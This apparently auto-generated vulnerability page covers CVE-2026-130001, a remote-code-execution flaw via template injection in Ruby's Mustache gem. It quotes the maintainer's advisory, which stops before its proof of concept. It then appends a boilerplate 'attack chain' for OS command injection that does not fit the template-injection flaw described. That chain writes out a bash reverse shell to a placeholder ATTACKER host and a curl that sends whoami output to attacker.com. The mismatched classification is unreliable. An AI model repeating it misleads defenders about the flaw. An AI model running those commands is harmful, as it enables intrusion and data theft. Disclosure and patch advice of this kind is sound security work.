CVE-2026-130001 — Mustache — CWE-913
CVE-2026-130001 is a CRITICAL severity Remote Code Execution (RCE) vulnerability (CWE-913) (CVSS 9.8/10) affecting Mustache. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) with zero user interaction (UI:N), resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
> [!NOTE] > The vulnerability was fully disclosed to the maintainer in private prior to security advisories were enabled for the project. > This advisory presents a limited information for initial release to provide a time window for installing updates. Full information with PoCs would be added later. ## Summary Mustache template engine for Ruby in versions 1.1.2 and earlier allows remote attackers to achieve arbitrary code execution through accessing specific built-in methods in an attacker-supplied template. ## Details Mustache is often suggested as a safe simple template language to avoid SSTI vulnerabilities.[^1] [^2] Mustache for Ruby up to version 1.1.2 did not properly restrict method access which allowed chaining multiple built-in methods to achieve arbitrary code execution. > [!IMPORTANT] > Successful exploitation of this vulnerability does not depend on any configuration or objects passed to the template engine. > An attacker controlling the template string can achieve arbitrary code execution without any additional requirements. Additional methods provided by the application or installed gems can further expand the attack surface but exploitation was proven without them. ## PoC All discovered payloads were tested using `ruby -e` shell commands with `mustache` as the only explicitly required gem: ```bash ruby -e 'require "mustache"; puts Mustache.render("PAYLOAD GOES HERE", key: "value")' ``` For initial information release, only the descriptions of the most
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-130001
CVSS 9.8/10 · CRITICAL · 18.11.2026
CWE: CWE-913
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
OS Command Injection
Summary: > [!NOTE]
The vulnerability was fully disclosed to the maintainer in private prior to security advisories were enabled for the project. > This advisory presents a limited information for initial release to provide a time window for installing updates. Full information with PoCs would be added later.
Affected: mustache
⚡ ATTACK CHAIN
1. Test injection: ; id, | id, backtick execution.
2. Blind via time delay: ; sleep 5
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
4. OOB: ; curl https://attacker.com/$(whoami|base64)
🔧 Tools: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted; service can be completely taken down.
🛡️ REMEDIATION
→ Apply vendor security update for mustache.
→ Never pass user input to shell commands.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
🚨 NOW (24-48h) — Remote, no-auth, low complexity.
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]